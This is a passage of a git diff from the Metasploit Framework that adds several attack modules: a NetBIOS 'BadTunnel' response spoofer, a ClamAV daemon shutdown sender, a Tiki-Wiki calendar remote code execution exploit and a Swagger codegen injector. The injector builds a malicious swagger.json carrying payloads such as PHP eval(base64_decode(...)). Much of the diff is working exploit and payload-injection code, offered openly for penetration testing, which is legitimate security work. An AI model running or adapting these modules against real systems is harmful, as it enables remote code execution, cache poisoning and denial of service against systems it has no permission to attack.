#{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...") + + live = true + while live + 0.upto(65535) do |txid| + begin + payload[0,2] = [txid].pack("n") + @sock.put(payload) + pcnt += 1 + + pps = (pcnt / (Time.now.to_f - stime)).to_i + if pps > @targ_rate + sleep(0.01) + end + rescue Errno::ECONNREFUSED + print_error("Error: Target sent us an ICMP port unreachable, port is likely closed") + live = false + break + end + end + end + + print_status("Cleaning up...") + end + + def run + connect_udp + @sock = self.udp_sock + + @targ_addr = rhost + @targ_port = rport + @targ_rate = datastore['PPSRATE'] + @fake_name = datastore['NBNAME'] + @fake_addr = datastore['NBADDR'] + + netbios_spam + + disconnect_udp + end + +end diff --git a/modules/auxiliary/scanner/misc/clamav_control.rb b/modules/auxiliary/scanner/misc/clamav_control.rb new file mode 100644 index 0000000000..a5cea19516 --- /dev/null +++ b/modules/auxiliary/scanner/misc/clamav_control.rb @@ -0,0 +1,57 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ClamAV Remote Command Transmitter', + 'Description' => %q( + In certain configurations, ClamAV will bind to all addresses and listen for commands. + This module sends properly-formatted commands to the ClamAV daemon if it is in such a + configuration. + ), + 'Author' => [ + 'Alejandro Hdeza', # DISCOVER + 'bwatters-r7', # MODULE + 'wvu' # GUIDANCE + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://twitter.com/nitr0usmx/status/740673507684679680/photo/1' ], + [ 'URL', 'https://github.com/vrtadmin/clamav-faq/raw/master/manual/clamdoc.pdf' ] + ], + 'DisclosureDate' => 'Jun 8 2016', + 'Actions' => [ + [ 'VERSION', 'Description' => 'Get Version Information' ], + [ 'SHUTDOWN', 'Description' => 'Kills ClamAV Daemon' ] + ], + 'DefaultAction' => 'VERSION' + ) + ) + register_options( + [ + Opt::RPORT(3310) + ], self.class + ) + end + + def run_host(_ip) + begin + connect + sock.put(action.name + "\n") + print_good(sock.get_once) + rescue EOFError + print_good('Successfully shut down ClamAV Service') + ensure + disconnect + end + end +end diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index dd9d13985d..404bab4757 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -31,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary def run_host(ip) if !mssql_login_datastore - print_error("#{rhost}:#{rport} - Invalid SQL Server credentials") + print_error("Invalid SQL Server credentials") return end @@ -150,7 +150,7 @@ class MetasploitModule < Msf::Auxiliary login = create_credential_login(login_data) tbl << [row[0], row[1]] - print_good("#{rhost}:#{rport} - Saving #{hashtype} = #{row[0]}:#{row[1]}") + print_good("Saving #{hashtype} = #{row[0]}:#{row[1]}") end end @@ -160,7 +160,7 @@ class MetasploitModule < Msf::Auxiliary is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0] if is_sysadmin == 0 - print_error("#{rhost}:#{rport} - The provided credentials do not have privileges to read the password hashes") + print_error("The provided credentials do not have privileges to read the password hashes") return nil end diff --git a/modules/auxiliary/server/netbios_spoof_nat.rb b/modules/auxiliary/server/netbios_spoof_nat.rb new file mode 100644 index 0000000000..5a5a137bcb --- /dev/null +++ b/modules/auxiliary/server/netbios_spoof_nat.rb @@ -0,0 +1,159 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + def initialize + super( + 'Name' => 'NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel)', + 'Description' => %q{ + This module listens for a NetBIOS name request and then continuously spams + NetBIOS responses to a target for given hostname, causing the target to cache + a malicious address for this name. On high-speed networks, the PPSRATE value + should be increased to speed up this attack. As an example, a value of around + 30,000 is almost 100% successful when spoofing a response for a 'WPAD' lookup. + Distant targets may require more time and lower rates for a successful attack. + + This module works when the target is behind a NAT gateway, since the stream of + NetBIOS responses will keep the NAT mapping alive after the initial setup. To + trigger the initial NetBIOS request to the Metasploit system, force the target + to access a UNC link pointing to the same address (HTML, Office attachment, etc). + + This NAT-piercing issue was named the 'BadTunnel' vulnerability by the discoverer, + Yu Yang (@tombkeeper). The Microsoft patches (MS16-063/MS16-077) impact the way + that the proxy host (WPAD) host is identified, but do change the predictability + of NetBIOS requests. + + }, + 'Authors' => [ + 'vvalien', # Metasploit Module (post) + 'hdm', # Metasploit Module + 'tombkeeper' # Vulnerability Discovery + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Service' ] + ], + 'PassiveActions' => + [ + 'Service' + ], + 'DefaultAction' => 'Service', + 'References' => + [ + ['URL', 'http://xlab.tencent.com/en/2016/06/17/BadTunnel-A-New-Hope/'], + ['CVE', '2016-3213'], + ['MSB', 'MS16-063'], + ['CVE', '2016-3236'], + ['MSB', 'MS16-077'] + ], + 'DisclosureDate' => 'Jun 14 2016' + ) + + register_options( + [ + OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]), + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 137 ]), + OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]), + OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]), + OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000]) + ], self.class) + end + + def netbios_service + @port = datastore['SRVPORT'].to_i + + # MacOS X workaround + ::Socket.do_not_reverse_lookup = true + + @sock = ::UDPSocket.new() + @sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) + @sock.bind(datastore['SRVHOST'], @port) + + @targ_rate = datastore['PPSRATE'] + @fake_name = datastore['NBNAME'] + @fake_addr = datastore['NBADDR'] + + print_status("Listening for NetBIOS requests...") + + begin + loop do + packet, addr = @sock.recvfrom(65535) + next if packet.length == 0 + + @targ_addr = addr[3] + @targ_port = addr[1] + break + end + + # TODO: Seed our counter based on the TXID of this request + print_status("Received a NetBIOS request from #{@targ_addr}:#{@targ_port}") + @sock.connect(@targ_addr, @targ_port) + + netbios_spam + + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Error #{e.class} #{e} #{e.backtrace}") + ensure + @sock.close if @sock + end + end + + def netbios_spam + payload = + "\xff\xff" + # TX ID (will brute force this) + "\x85\x00" + # Flags = response + authoratative + recursion desired + "\x00\x00" + # Questions = 0 + "\x00\x01" + # Answer RRs = 1 + "\x00\x00" + # Authority RRs = 0 + "\x00\x00" + # Additional RRs = 0 + "\x20" + + Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) + + "\x00" + + "\x00\x20" + # Type = NB + "\x00\x01" + # Class = IN + "\x00\x04\x93\xe0" + # TTL long time + "\x00\x06" + # Datalength = 6 + "\x00\x00" + # Flags B-node, unique + Rex::Socket.addr_aton(@fake_addr) + + stime = Time.now.to_f + pcnt = 0 + pps = 0 + + print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...") + + live = true + while live + 0.upto(65535) do |txid| + begin + payload[0,2] = [txid].pack("n") + @sock.write(payload) + pcnt += 1 + + pps = (pcnt / (Time.now.to_f - stime)).to_i + if pps > @targ_rate + sleep(0.01) + end + rescue Errno::ECONNREFUSED + print_error("Error: Target sent us an ICMP port unreachable, port is likely closed") + live = false + break + end + end + end + end + + def run + loop { netbios_service } + end + +end diff --git a/modules/exploits/linux/http/tiki_calendar_exec.rb b/modules/exploits/linux/http/tiki_calendar_exec.rb new file mode 100644 index 0000000000..2da5c97174 --- /dev/null +++ b/modules/exploits/linux/http/tiki_calendar_exec.rb @@ -0,0 +1,151 @@ +## +## This module requires Metasploit: http://metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Tiki-Wiki CMS Calendar Command Execution', + 'Description' => %q( + Tiki-Wiki CMS's calendar module contains a remote code execution + vulnerability within the viewmode GET parameter. + The calendar module is NOT enabled by default. If enabled, + the default permissions are set to NOT allow anonymous users + to access. + + Vulnerable versions: <=14.1, <=12.4 LTS, <=9.10 LTS and <=6.14 + Verified/Tested against 14.1 + ), + 'Author' => + [ + 'h00die ', # module + 'Dany Ouellet' # discovery + ], + 'References' => + [ + [ 'EDB', '39965' ], + [ 'URL', 'https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki'] + ], + 'License' => MSF_LICENSE, + 'Platform' => %w( php ), + 'Privileged' => false, + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Automatic Target', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 06 2016' + ) + ) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [ true, 'The URI of Tiki-Wiki', '/']), + OptString.new('USERNAME', [ false, 'Username of a user with calendar access', 'admin']), + OptString.new('PASSWORD', [ false, 'Password of a user with calendar access', 'admin']) + ], self.class + ) + end + + # returns cookie regardless of outcome + def authenticate + begin + # get a cookie to start with + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'tiki-login_scr.php'), + 'method' => 'GET' + ) + cookie = res ? res.get_cookies : '' + # if we have creds, login with them + vprint_status('Attempting Login') + # the bang on the cgi will follow the redirect we receive on a good login + res = send_request_cgi!( + 'uri' => normalize_uri(target_uri.path, 'tiki-login.php'), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'cookie' => cookie, + 'vars_post' => + { + 'user' => datastore['USERNAME'], + 'pass' => datastore['PASSWORD'], + 'login' => '', + 'stay_in_ssl_mode_present' => 'y', + 'stay_in_ssl_mode' => 'n' + } + ) + # double check auth worked and we got a Log out on the page. + # at times I got it to auth, but then it would give permission errors + # so we want to try to double check everything is good + if res && !res.body =~ /Log out/ + fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}") + end + vprint_good("Login Successful!") + return cookie + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + # sends the calendar packet, returns the HTTP response + def send_calendar_packet(cookie, data) + begin + return send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'tiki-calendar.php'), + 'method' => 'GET', + 'cookie' => cookie, + 'vars_get' => + { + 'viewmode' => "';#{data};$a='" + } + ) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + # Version numbers are post auth, so we send a print statement w/ + # 10 random characters and check for it in the response + def check + if datastore['USERNAME'] && !datastore['USERNAME'].blank? + cookie = authenticate + end + + flag = Rex::Text.rand_text_alpha(10) + res = send_calendar_packet(cookie, "print(#{flag})") + + if res + if res.body =~ /You do not have permission to view the calendar/i + fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required") + elsif res.body =~ />#{flag} 'JSON Swagger CodeGen Parameter Injector', + 'Description' => %q{ + This module generates a Open API Specification 2.0 (Swagger) compliant + json document that includes payload insertion points in parameters. + + In order for the payload to be executed, an attacker must convince + someone to generate code from a specially modified swagger.json file + within a vulnerable swagger-codgen appliance/container/api/service, + and then to execute that generated code (or include it into software + which will later be executed by another victim). By doing so, an + attacker can execute arbitrary code as the victim user. The same + vulnerability exists in the YAML format. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'ethersnowman ' + ], + 'References' => + [ + [ 'URL', 'http://github.com/swagger-api/swagger-codegen' ], + [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ] + ], + 'Platform' => %w{ nodejs php java ruby }, + 'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ], + 'Targets' => + [ + ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ], + ['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ], + ['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ], + ['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ] + ], + 'DisclosureDate' => 'Jun 23 2016', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']), + OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']), + OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']), + OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']), + OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]), + OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']), + OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']), + OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']), + OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']), + OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']), + OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F']) + ], self.class) + end + + def swagger + %Q( + { + "swagger": "2.0", + "info": { + "description": "#{datastore['INFO_DESCRIPTION']}", + "version": "#{datastore['INFO_VERSION']}", + "title": "#{datastore['INFO_TITLE']}" + }, + "schemes": [ + "#{datastore['SWAGGER_SCHEME']}" + ], + "host": "#{datastore['SWAGGER_HOST']}", + "basePath": "#{datastore['BASE_PATH']}", + "produces": [ + "application/json" + ], + "consumes": [ + "application/json" + ], + "paths": { + "#{datastore['PATH']}": { + "get": { + "description": "#{datastore['PATH_DESCRIPTION']}", + "responses": { + "200": { + "description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}", + "schema": { + "$ref": "#/definitions/d" + } + } + } + } + } + }, + "definitions": { + "d": { + "type": "object", + "description": "#{datastore['DEFINITION_DESCRIPTION']}", + "properties": { + "id": { + "type": "integer", + "format": "int64" + } + } + } + } + } + ) + end + + def exploit + case payload.arch[0] + when 'nodejs' + payload_loc = 'PATH' + payload_prefix = "/a');};};return exports;}));" + payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('" + wrapped_payload = payload_prefix + payload.encoded + payload_suffix + when 'php' + payload_loc = 'INFO_DESCRIPTION' + payload_prefix = "*/ namespace foobar; eval(base64_decode('" + payload_suffix = "')); /*" + wrapped_payload = payload_prefix + + Base64.strict_encode64(payload.encoded) + + payload_suffix + when 'ruby' + payload_loc = 'INFO_TITLE' + payload_prefix = "=end " + payload_suffix = "=begin " + wrapped_payload = payload_prefix + payload.encoded + payload_suffix + when 'java' + payload_loc = 'PATH' + payload_prefix = %q{a\\\"; "} + p = payload.encoded.gsub(/<%@page import="/, 'import ') + p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '') + p = p.gsub(/"/, '\\"').gsub(/\n/, ' ') + wrapped_payload = payload_prefix + p + else + raise IncompatiblePayloadError.new(datastore['PAYLOAD']) + end + + datastore[payload_loc] = wrapped_payload + + print_status swagger + file_create swagger + end +end diff --git a/modules/post/multi/recon/local_exploit_suggester.rb b/modules/post/multi/recon/local_exploit_suggester.rb index da3b29ad92..eeb0a2087a 100644 --- a/modules/post/multi/recon/local_exploit_suggester.rb +++ b/modules/post/multi/recon/local_exploit_suggester.rb @@ -88,7 +88,7 @@ class MetasploitModule < Msf::Post def set_module_options(mod) - self.datastore.each do |k,v| + self.datastore.each_pair do |k,v| mod.datastore[k] = v end if !mod.datastore['SESSION'] && session.present? diff --git a/spec/lib/rex/java/serialization/builder_spec.rb b/spec/lib/rex/java/serialization/builder_spec.rb deleted file mode 100644 index 41c39baeb8..0000000000 --- a/spec/lib/rex/java/serialization/builder_spec.rb +++ /dev/null @@ -1,143 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' - -RSpec.describe Rex::Java::Serialization::Builder do - subject(:builder) do - described_class.new - end - - let(:class_opts) do - { - name: 'java.rmi.MarshalledObject', - serial: 0x7cbd1e97ed63fc3e, - fields: [ - ['int', 'hash'], - ['array', 'locBytes', '[B'], - ['array', 'objBytes', '[B'] - ] - } - end - - let(:object_opts) do - { - data: [["int", 1]] - } - end - - let(:array_opts) do - { - values_type: 'byte', - values: [0x41, 0x42, 0x43, 0x44] - } - end - - describe ".new" do - it "returns a Rex::Java::Serialization::Builder" do - expect(builder).to be_a(Rex::Java::Serialization::Builder) - end - end - - describe "#new_class" do - context "when no options" do - it "returns a Rex::Java::Serialization::Model::NewClassDesc" do - expect(builder.new_class).to be_a(Rex::Java::Serialization::Model::NewClassDesc) - end - - it "sets an empty class name" do - expect(builder.new_class.class_name.contents).to eq('') - end - - it "sets a 0 serial version" do - expect(builder.new_class.serial_version).to eq(0) - end - - it "sets flags to SC_SERIALIZABLE" do - expect(builder.new_class.flags).to eq(Rex::Java::Serialization::SC_SERIALIZABLE) - end - - it "sets default annotations" do - expect(builder.new_class.class_annotation.contents.length).to eq(2) - end - - it "sets empty fields" do - expect(builder.new_class.fields.length).to eq(0) - end - - it "sets null super class" do - expect(builder.new_class.super_class.description).to be_a(Rex::Java::Serialization::Model::NullReference) - end - end - - context "when options" do - it "returns a Rex::Java::Serialization::Model::NewClassDesc" do - expect(builder.new_class(class_opts)).to be_a(Rex::Java::Serialization::Model::NewClassDesc) - end - - it "sets the class name from options" do - expect(builder.new_class(class_opts).class_name.contents).to eq(class_opts[:name]) - end - - it "sets serial version from options" do - expect(builder.new_class(class_opts).serial_version).to eq(class_opts[:serial]) - end - - it "sets fields from options" do - expect(builder.new_class(class_opts).fields.length).to eq(3) - end - end - end - - describe "#new_object" do - context "when no options" do - it "returns a Rex::Java::Serialization::Model::NewObject" do - expect(builder.new_object).to be_a(Rex::Java::Serialization::Model::NewObject) - end - - it "sets empty data" do - expect(builder.new_object.class_data).to eq([]) - end - end - - context "when options" do - it "returns a Rex::Java::Serialization::Model::NewObject" do - expect(builder.new_object(object_opts)).to be_a(Rex::Java::Serialization::Model::NewObject) - end - - it "sets data from options" do - expect(builder.new_object(object_opts).class_data[0][1]).to eq(1) - end - end - end - - describe "#new_array" do - context "when no options" do - it "returns a Rex::Java::Serialization::Model::NewArray" do - expect(builder.new_array).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "sets empty values type" do - expect(builder.new_array.type).to eq('') - end - - it "sets empty values array" do - expect(builder.new_array.values).to eq([]) - end - end - - context "when options" do - it "returns a Rex::Java::Serialization::Model::NewArray" do - expect(builder.new_array(array_opts)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "sets empty values type" do - expect(builder.new_array(array_opts).type).to eq(array_opts[:values_type]) - end - - it "sets empty values array" do - expect(builder.new_array(array_opts).values).to eq(array_opts[:values]) - end - end - end -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/annotation_spec.rb b/spec/lib/rex/java/serialization/model/annotation_spec.rb deleted file mode 100644 index acd6361cd8..0000000000 --- a/spec/lib/rex/java/serialization/model/annotation_spec.rb +++ /dev/null @@ -1,105 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::Annotation do - subject(:annotation) do - described_class.new - end - - let(:empty_contents) { "\x78" } - let(:empty_contents_io) { StringIO.new(empty_contents) } - let(:contents) { "\x77\x05\x01\x02\x03\x04\x05\x7a\x00\x00\x00\x05\x01\x02\x03\x04\x05\x78" } - let(:contents_io) { StringIO.new(contents) } - - describe ".new" do - it "Rex::Java::Serialization::Model::Annotation" do - expect(annotation).to be_a(Rex::Java::Serialization::Model::Annotation) - end - - it "initializes contents with empty array" do - expect(annotation.contents).to be_empty - end - end - - describe "#encode" do - - context "when empty contents" do - it do - annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - expect(annotation.encode).to eq(empty_contents) - end - end - - context "when block data contents" do - it do - annotation.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x01\x02\x03\x04\x05") - annotation.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, "\x01\x02\x03\x04\x05") - annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - expect(annotation.encode).to eq(contents) - end - end - - end - - describe "#decode" do - - context "when empty contents" do - it "returns a Rex::Java::Serialization::Model::Annotation" do - expect(annotation.decode(empty_contents_io)).to be_a(Rex::Java::Serialization::Model::Annotation) - end - - it "unserializes one content" do - annotation.decode(empty_contents_io) - expect(annotation.contents.length).to eq(1) - end - - it "unserializes one EndBlockData content" do - annotation.decode(empty_contents_io) - expect(annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::EndBlockData) - end - end - - context "when block data contents" do - it "returns a Rex::Java::Serialization::Model::Annotation" do - expect(annotation.decode(contents_io)).to be_a(Rex::Java::Serialization::Model::Annotation) - end - - it "deserializes contents" do - annotation.decode(contents_io) - expect(annotation.contents.length).to eq(3) - end - - it "deserializes block data contents" do - annotation.decode(contents_io) - expect(annotation.contents[0]).to be_a_kind_of(Rex::Java::Serialization::Model::BlockData) - end - - it "deserializes block data long contents" do - annotation.decode(contents_io) - expect(annotation.contents[1]).to be_a_kind_of(Rex::Java::Serialization::Model::BlockDataLong) - end - - it "deserializes end block data" do - annotation.decode(contents_io) - expect(annotation.contents[2]).to be_a_kind_of(Rex::Java::Serialization::Model::EndBlockData) - end - end - - end - - describe "#to_s" do - it "prints an empty annotation" do - annotation.decode(empty_contents_io) - expect(annotation.to_s).to eq('[ EndBlockData ]') - end - - it "prints an annotation with contents" do - annotation.decode(contents_io) - expect(annotation.to_s).to eq('[ BlockData { [ 0x1, 0x2, 0x3, 0x4, 0x5 ] }, BlockDataLong { [ 0x1, 0x2, 0x3, 0x4, 0x5 ] }, EndBlockData ]') - end - end - -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/block_data_long_spec.rb b/spec/lib/rex/java/serialization/model/block_data_long_spec.rb deleted file mode 100644 index 28a72ece9a..0000000000 --- a/spec/lib/rex/java/serialization/model/block_data_long_spec.rb +++ /dev/null @@ -1,107 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::BlockDataLong do - subject(:block) do - described_class.new - end - - let(:sample_block) { "\x00\x00\x00\x10\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" } - let(:sample_block_io) { StringIO.new(sample_block) } - let(:empty_block) { "\x00\x00\x00\x00" } - let(:empty_block_io) { StringIO.new(empty_block) } - let(:incomplete_block) { "\x00\x00\x00\x10\x01\x02\x03\x04\x05" } - let(:incomplete_block_io) { StringIO.new(incomplete_block) } - let(:empty_io) { StringIO.new('') } - - describe ".new" do - it "Rex::Java::Serialization::Model::BlockDataLong" do - expect(block).to be_a(Rex::Java::Serialization::Model::BlockDataLong) - end - - it "initializes length to 0" do - expect(block.length).to eq(0) - end - - it "initializes contents with empty string" do - expect(block.contents).to be_empty - end - end - - describe "#encode" do - context "when empty block" do - it { expect(block.encode).to eq(empty_block) } - end - - context "when filled block" do - it do - block.length = 16 - block.contents = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" - expect(block.encode).to eq(sample_block) - end - end - end - - describe "#decode" do - context "when stream contains empty string" do - it "returns nil" do - expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError) - end - end - - context "when stream contains empty block" do - it "returns a Rex::Java::Serialization::Model::BlockDataLong" do - expect(block.decode(empty_block_io)).to be_a(Rex::Java::Serialization::Model::BlockDataLong) - end - - it "sets length to 0" do - block.decode(empty_block_io) - expect(block.length).to eq(0) - end - - it "sets contents to empty string" do - block.decode(empty_block_io) - expect(block.contents).to be_empty - end - end - - context "when stream contains incomplete block" do - it "returns nil" do - expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError) - end - end - - context "when stream contains correct block" do - - it "returns a Rex::Java::Serialization::Model::BlockDataLong" do - expect(block.decode(sample_block_io)).to be_a(Rex::Java::Serialization::Model::BlockDataLong) - end - - it "sets length to 0" do - block.decode(sample_block_io) - expect(block.length).to eq(16) - end - - it "sets contents to sample string" do - block.decode(sample_block_io) - expect(block.contents).to eq("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10") - end - end - - describe "#to_s" do - it "prints a block with contents" do - block.decode(sample_block_io) - expect(block.to_s).to eq('[ 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10 ]') - end - - it "prints an empty string for an empty block" do - block.decode(empty_block_io) - expect(block.to_s).to eq('[ ]') - end - end - - end -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/block_data_spec.rb b/spec/lib/rex/java/serialization/model/block_data_spec.rb deleted file mode 100644 index e6c93dda3a..0000000000 --- a/spec/lib/rex/java/serialization/model/block_data_spec.rb +++ /dev/null @@ -1,106 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::BlockData do - subject(:block) do - described_class.new - end - - let(:sample_block) { "\x10\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" } - let(:sample_block_io) { StringIO.new(sample_block) } - let(:empty_block) { "\x00" } - let(:empty_block_io) { StringIO.new(empty_block) } - let(:incomplete_block) { "\x10\x01\x02\x03\x04\x05" } - let(:incomplete_block_io) { StringIO.new(incomplete_block) } - let(:empty_io) { StringIO.new('') } - - describe ".new" do - it "Rex::Java::Serialization::Model::BlockData" do - expect(block).to be_a(Rex::Java::Serialization::Model::BlockData) - end - - it "initializes length to 0" do - expect(block.length).to eq(0) - end - - it "initializes contents with empty string" do - expect(block.contents).to be_empty - end - end - - describe "#encode" do - context "when empty block" do - it { expect(block.encode).to eq(empty_block) } - end - - context "when filled block" do - it do - block.length = 16 - block.contents = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" - expect(block.encode).to eq(sample_block) - end - end - end - - describe "#decode" do - context "when stream contains empty string" do - it "returns nil" do - expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError) - end - end - - context "when stream contains empty block" do - it "returns a Rex::Java::Serialization::Model::BlockData" do - expect(block.decode(empty_block_io)).to be_a(Rex::Java::Serialization::Model::BlockData) - end - - it "sets length to 0" do - block.decode(empty_block_io) - expect(block.length).to eq(0) - end - - it "sets contents to empty string" do - block.decode(empty_block_io) - expect(block.contents).to be_empty - end - end - - context "when stream contains incomplete block" do - it "returns nil" do - expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError) - end - end - - context "when stream contains correct block" do - - it "returns a Rex::Java::Serialization::Model::BlockData" do - expect(block.decode(sample_block_io)).to be_a(Rex::Java::Serialization::Model::BlockData) - end - - it "sets length to 0" do - block.decode(sample_block_io) - expect(block.length).to eq(16) - end - - it "sets contents to sample string" do - block.decode(sample_block_io) - expect(block.contents).to eq("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10") - end - end - end - - describe "#to_s" do - it "prints a block with contents" do - block.decode(sample_block_io) - expect(block.to_s).to eq('[ 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10 ]') - end - - it "prints an empty string for an empty block" do - block.decode(empty_block_io) - expect(block.to_s).to eq('[ ]') - end - end -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/class_desc_spec.rb b/spec/lib/rex/java/serialization/model/class_desc_spec.rb deleted file mode 100644 index 277a2fa4df..0000000000 --- a/spec/lib/rex/java/serialization/model/class_desc_spec.rb +++ /dev/null @@ -1,81 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::ClassDesc do - subject(:class_desc) do - described_class.new - end - - let(:sample) do - "\x72\x00\x0e\x6a\x61\x76\x61\x2e\x6c\x61\x6e" + - "\x67\x2e\x42\x79\x74\x65\x9c\x4e\x60\x84\xee\x50\xf5\x1c\x02\x00" + - "\x01\x42\x00\x05\x76\x61\x6c\x75\x65\x78\x72\x00\x10\x6a\x61\x76" + - "\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95" + - "\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70" - end - - let(:sample_io) { StringIO.new(sample) } - - describe ".new" do - it "Rex::Java::Serialization::Model::NewClassDesc" do - expect(class_desc).to be_a(Rex::Java::Serialization::Model::ClassDesc) - end - - it "initializes description with nil" do - expect(class_desc.description).to be_nil - end - end - - describe "#decode" do - it "returns a Rex::Java::Serialization::Model::ClassDesc" do - expect(class_desc.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::ClassDesc) - end - - it "deserializes the description correctly" do - class_desc.decode(sample_io) - expect(class_desc.description).to 